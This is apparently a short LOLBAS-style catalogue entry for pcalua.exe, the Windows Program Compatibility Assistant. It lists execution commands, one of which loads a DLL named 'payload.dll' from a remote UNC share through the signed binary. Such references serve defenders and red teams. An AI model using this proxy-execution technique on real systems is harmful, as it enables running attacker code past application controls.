Program Compatibility Assistant

Paths:

C:\Windows\System32\pcalua.exe

Detection:

Execute

Open the target .EXE using the Program Compatibility Assistant.

pcalua.exe -a calc.exe

Open the target .DLL file with the Program Compatibilty Assistant.

pcalua.exe -a \\server\payload.dll

Open the target .CPL file with the Program Compatibility Assistant.

pcalua.exe -a C:\Windows\system32\javacpl.cpl -c Java